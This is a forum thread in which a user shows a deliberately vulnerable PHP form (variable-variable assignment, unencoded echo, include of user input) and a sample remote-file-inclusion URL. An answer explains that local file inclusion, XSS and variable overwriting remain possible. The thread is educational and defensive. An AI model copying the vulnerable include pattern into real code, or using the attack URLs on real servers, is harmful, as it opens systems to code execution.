I've setup a sandbox and trying to run exploits so I can better understand how to better defend against them. When I run the following, the process is failing as it should and for the right reason. But then I'm not sure because I can't find a lot of "how-to write a proper exploit". Here is my code and following is the message on failure. Any guidance would be great.
//unform.php (unprotected form)
<html>
<head>
<title>Try An Exploit</title>
<?php
if (!empty($_GET)){
foreach($_GET as $key=>$value){
${$key} = $value;
}
}
//no sanitizer here.
echo $key;
include($value);
?>
</head>
<body>
<h1>This Is Bad</h1>
<form action="#" method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit" value="Kick Me" />
</form>
</body>
Exploit script, simple stuff:
exploit.php
<?php
$somevar = "This is just a string";
echo $somevar;
?>
Bad guy would hard code the following in their browser address bar:
http://www.sandbox.com/path/to/unform.php?COLOR=http://www.remoteserv.com/exploit.php
Output to browser when trying to load the address:
Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0
So is that it? Or are there other technique I should be looking out for?
Thanks
It looks like the exploit in question is execution of arbitrary script. The script is not vulnerable to arbitrary execution of remote scripts, on account of some php.ini settings - but it is vulnerable to arbitrary execution of local scripts.
By default the allow_url_include php.ini directive is set to 0 - preventing you from including remote files, like so:
include("http://www.remoteserv.com/exploit.php");
... or equally like so:
$myVar = "http://www.remoteserv.com/exploit.php";
include($myVar);
See Runtime Configurations - Filesystem and Streams Configuration Options and Using remote scripts on php.net for more information.
Technically, you're still vulnerable to attack in that the user can provide input that results in an error - realistically you should sanitize that input - but you're not vulnerable to asbitrary execution of remote scripts.
But the php.ini directives are not protecting your from local script execution. An attacker could use a URL like...
http://www.sandbox.com/path/to/unform.php?wtv=/tmp/SomeFile.php
... and that file will be included. It might be a non-PHP file (resulting in an error) or it might be a file which the attacker has place on your server - either by means of a file upload or by means of a Shared Hosting Environment.
For further reading, chapter 5 of the book Essential PHP Security is devoted entirely to the security of include.
You are also vulnerable to XSS:
echo $key;
When outputting $key - which is input - you should encode the output in some way, probably using htmlentities(...).
You are also manipulating variables using use input:
${$key} = $value;
...which is a bad idea.